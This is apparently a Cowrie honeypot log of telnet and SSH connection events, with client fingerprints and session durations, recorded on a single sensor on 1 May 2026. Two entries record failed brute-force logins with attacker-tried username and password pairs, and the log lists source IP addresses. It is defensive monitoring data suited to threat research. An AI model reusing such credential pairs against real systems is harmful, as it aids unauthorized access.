{"eventid":"cowrie.session.closed","duration":33.95895504951477,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:07.542423Z","src_ip":"209.159.146.115","session":"26babab20869","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56002,"dst_ip":"159.203.135.109","dst_port":23,"session":"a77d29901008","protocol":"telnet","message":"New connection: 23.254.167.244:56002 (159.203.135.109:23) [session: a77d29901008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:08.825785Z"}
{"eventid":"cowrie.session.closed","duration":120.00108909606934,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:08.889123Z","src_ip":"45.6.79.189","session":"ec0e3456343c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56316,"dst_ip":"159.203.135.109","dst_port":23,"session":"21f363ff33d2","protocol":"telnet","message":"New connection: 23.254.167.244:56316 (159.203.135.109:23) [session: 21f363ff33d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:09.042510Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":54564,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e00b5c8fbad","protocol":"ssh","message":"New connection: 186.13.24.118:54564 (159.203.135.109:22) [session: 9e00b5c8fbad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:09.097390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:09.102978Z","src_ip":"186.13.24.118","session":"9e00b5c8fbad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:09.270202Z","src_ip":"186.13.24.118","session":"9e00b5c8fbad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49274,"dst_ip":"159.203.135.109","dst_port":23,"session":"dda38a07f281","protocol":"telnet","message":"New connection: 209.159.146.115:49274 (159.203.135.109:23) [session: dda38a07f281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:09.823390Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"admin!@#","message":"login attempt [postgres/admin!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:09.970052Z","src_ip":"186.13.24.118","session":"9e00b5c8fbad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.56089472770691,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:10.131134Z","src_ip":"209.159.146.115","session":"5bf5f8d5f7da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.30214548110962,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:10.155047Z","src_ip":"209.159.146.115","session":"5c51da3036a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.433918952941895,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:10.207594Z","src_ip":"209.159.146.115","session":"3529a98cc060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55332,"dst_ip":"159.203.135.109","dst_port":23,"session":"63eeaec896ec","protocol":"telnet","message":"New connection: 209.159.146.115:55332 (159.203.135.109:23) [session: 63eeaec896ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:10.657167Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:11.138875Z","src_ip":"186.13.24.118","session":"9e00b5c8fbad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":59724,"dst_ip":"159.203.135.109","dst_port":23,"session":"2673a9ed07ca","protocol":"telnet","message":"New connection: 23.254.167.244:59724 (159.203.135.109:23) [session: 2673a9ed07ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:11.497657Z"}
{"eventid":"cowrie.session.closed","duration":33.35923480987549,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:12.589442Z","src_ip":"209.159.146.115","session":"9e55fe729b46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.642121076583862,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:14.192502Z","src_ip":"209.159.146.115","session":"b9f3ed63ee5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.067692041397095,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:15.091555Z","src_ip":"209.159.146.115","session":"de42c1dcbf37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":38564,"dst_ip":"159.203.135.109","dst_port":23,"session":"bea045f70b1f","protocol":"telnet","message":"New connection: 23.254.167.244:38564 (159.203.135.109:23) [session: bea045f70b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:15.497442Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43348,"dst_ip":"159.203.135.109","dst_port":23,"session":"9851ae5838f4","protocol":"telnet","message":"New connection: 23.254.167.244:43348 (159.203.135.109:23) [session: 9851ae5838f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:18.260101Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33390,"dst_ip":"159.203.135.109","dst_port":23,"session":"e105e18ddaeb","protocol":"telnet","message":"New connection: 209.159.146.115:33390 (159.203.135.109:23) [session: e105e18ddaeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:18.281580Z"}
{"eventid":"cowrie.session.closed","duration":38.16671180725098,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:18.422423Z","src_ip":"209.159.146.115","session":"02b0f87562c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44520,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff362a4ba54c","protocol":"telnet","message":"New connection: 23.254.167.244:44520 (159.203.135.109:23) [session: ff362a4ba54c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:18.711526Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":46680,"dst_ip":"159.203.135.109","dst_port":23,"session":"27aabe0e502d","protocol":"telnet","message":"New connection: 23.254.167.244:46680 (159.203.135.109:23) [session: 27aabe0e502d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:19.603157Z"}
{"eventid":"cowrie.session.closed","duration":36.74798607826233,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:19.721772Z","src_ip":"209.159.146.115","session":"edce6fdf0aee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.86784291267395,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:20.782969Z","src_ip":"209.159.146.115","session":"5eb2a8cb526b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.083914279937744,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:20.921092Z","src_ip":"209.159.146.115","session":"8efe57485f83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49032,"dst_ip":"159.203.135.109","dst_port":23,"session":"5da6794e00d3","protocol":"telnet","message":"New connection: 209.159.146.115:49032 (159.203.135.109:23) [session: 5da6794e00d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:21.410732Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":50538,"dst_ip":"159.203.135.109","dst_port":23,"session":"cef3e7000375","protocol":"telnet","message":"New connection: 209.159.146.115:50538 (159.203.135.109:23) [session: cef3e7000375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:21.731511Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56266,"dst_ip":"159.203.135.109","dst_port":23,"session":"640ec9924e1d","protocol":"telnet","message":"New connection: 209.159.146.115:56266 (159.203.135.109:23) [session: 640ec9924e1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:23.597233Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":53018,"dst_ip":"159.203.135.109","dst_port":23,"session":"9153a1db0cfd","protocol":"telnet","message":"New connection: 23.254.167.244:53018 (159.203.135.109:23) [session: 9153a1db0cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:24.126434Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":53566,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaba69e22c18","protocol":"telnet","message":"New connection: 23.254.167.244:53566 (159.203.135.109:23) [session: eaba69e22c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:24.622666Z"}
{"eventid":"cowrie.session.closed","duration":35.47217392921448,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:25.563166Z","src_ip":"209.159.146.115","session":"355906cb1df2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":47732,"dst_ip":"159.203.135.109","dst_port":23,"session":"d36c7eff8a02","protocol":"telnet","message":"New connection: 209.159.146.115:47732 (159.203.135.109:23) [session: d36c7eff8a02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:26.449363Z"}
{"eventid":"cowrie.session.closed","duration":41.04299783706665,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:27.936753Z","src_ip":"209.159.146.115","session":"45fd4cb6e9fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.62920784950256,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:28.548558Z","src_ip":"209.159.146.115","session":"0e3c7eeb98c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49462,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d821f08fa75","protocol":"telnet","message":"New connection: 209.159.146.115:49462 (159.203.135.109:23) [session: 5d821f08fa75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:28.749128Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":52560,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4a09b18a73c","protocol":"telnet","message":"New connection: 209.159.146.115:52560 (159.203.135.109:23) [session: c4a09b18a73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:29.183668Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56466,"dst_ip":"159.203.135.109","dst_port":23,"session":"43507b7a55c9","protocol":"telnet","message":"New connection: 209.159.146.115:56466 (159.203.135.109:23) [session: 43507b7a55c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:30.634542Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":32864,"dst_ip":"159.203.135.109","dst_port":23,"session":"c353aca445cb","protocol":"telnet","message":"New connection: 209.159.146.115:32864 (159.203.135.109:23) [session: c353aca445cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:32.632067Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59318,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed05e9a1aa29","protocol":"telnet","message":"New connection: 209.159.146.115:59318 (159.203.135.109:23) [session: ed05e9a1aa29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:33.115305Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44142,"dst_ip":"159.203.135.109","dst_port":23,"session":"a07525cd64b8","protocol":"telnet","message":"New connection: 209.159.146.115:44142 (159.203.135.109:23) [session: a07525cd64b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:34.216763Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44482,"dst_ip":"159.203.135.109","dst_port":23,"session":"f20e1729d2c6","protocol":"telnet","message":"New connection: 209.159.146.115:44482 (159.203.135.109:23) [session: f20e1729d2c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:34.340505Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43432,"dst_ip":"159.203.135.109","dst_port":23,"session":"659d2b3da698","protocol":"telnet","message":"New connection: 209.159.146.115:43432 (159.203.135.109:23) [session: 659d2b3da698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:35.095598Z"}
{"eventid":"cowrie.session.closed","duration":38.60424828529358,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:35.705924Z","src_ip":"23.254.167.244","session":"dac7f4ba4dd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90857458114624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:36.253557Z","src_ip":"209.159.146.115","session":"fb722ad2d057","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.31413769721985,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:37.727317Z","src_ip":"209.159.146.115","session":"6abcbd4bbeda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":56904,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad79e1afa15d","protocol":"telnet","message":"New connection: 209.159.146.115:56904 (159.203.135.109:23) [session: ad79e1afa15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:37.902566Z"}
{"eventid":"cowrie.session.closed","duration":34.39406991004944,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:38.159568Z","src_ip":"209.159.146.115","session":"fd9c06b6a092","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58176,"dst_ip":"159.203.135.109","dst_port":23,"session":"8427d8442899","protocol":"telnet","message":"New connection: 209.159.146.115:58176 (159.203.135.109:23) [session: 8427d8442899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:38.345178Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47082,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fdb7d39175c","protocol":"telnet","message":"New connection: 23.254.167.244:47082 (159.203.135.109:23) [session: 8fdb7d39175c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:38.493511Z"}
{"eventid":"cowrie.session.closed","duration":37.597721338272095,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:38.703252Z","src_ip":"209.159.146.115","session":"035f2ff3d730","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.366861581802368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:40.192559Z","src_ip":"23.254.167.244","session":"a77d29901008","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.655773401260376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:40.479059Z","src_ip":"209.159.146.115","session":"dda38a07f281","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47864,"dst_ip":"159.203.135.109","dst_port":23,"session":"522e901da311","protocol":"telnet","message":"New connection: 23.254.167.244:47864 (159.203.135.109:23) [session: 522e901da311]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:40.500067Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":49056,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea9c505e2170","protocol":"telnet","message":"New connection: 209.159.146.115:49056 (159.203.135.109:23) [session: ea9c505e2170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:43.004245Z"}
{"eventid":"cowrie.session.closed","duration":32.059635639190674,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:43.557159Z","src_ip":"23.254.167.244","session":"2673a9ed07ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":53064,"dst_ip":"159.203.135.109","dst_port":23,"session":"5947dd10d810","protocol":"telnet","message":"New connection: 209.159.146.115:53064 (159.203.135.109:23) [session: 5947dd10d810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:43.996666Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42280,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfef3a8b357d","protocol":"ssh","message":"New connection: 159.203.92.129:42280 (159.203.135.109:22) [session: dfef3a8b357d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:44.850142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:44.855071Z","src_ip":"159.203.92.129","session":"dfef3a8b357d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:44.859637Z","src_ip":"159.203.92.129","session":"dfef3a8b357d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel111111","message":"login attempt [angel/angel111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:44.872000Z","src_ip":"159.203.92.129","session":"dfef3a8b357d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:45.882589Z","src_ip":"159.203.92.129","session":"dfef3a8b357d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.00295615196228,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:45.991508Z","src_ip":"209.159.146.115","session":"fc45edf36e49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.49414539337158,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:47.536569Z","src_ip":"23.254.167.244","session":"21f363ff33d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.17129683494568,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:47.828341Z","src_ip":"209.159.146.115","session":"63eeaec896ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.76394009590149,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:49.261255Z","src_ip":"23.254.167.244","session":"bea045f70b1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33362,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2109ed53551","protocol":"telnet","message":"New connection: 23.254.167.244:33362 (159.203.135.109:23) [session: c2109ed53551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:49.294497Z"}
{"eventid":"cowrie.session.closed","duration":30.684843063354492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:50.287857Z","src_ip":"23.254.167.244","session":"27aabe0e502d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34280,"dst_ip":"159.203.135.109","dst_port":23,"session":"00f79e9b2491","protocol":"telnet","message":"New connection: 23.254.167.244:34280 (159.203.135.109:23) [session: 00f79e9b2491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T02:57:51.151830Z"}
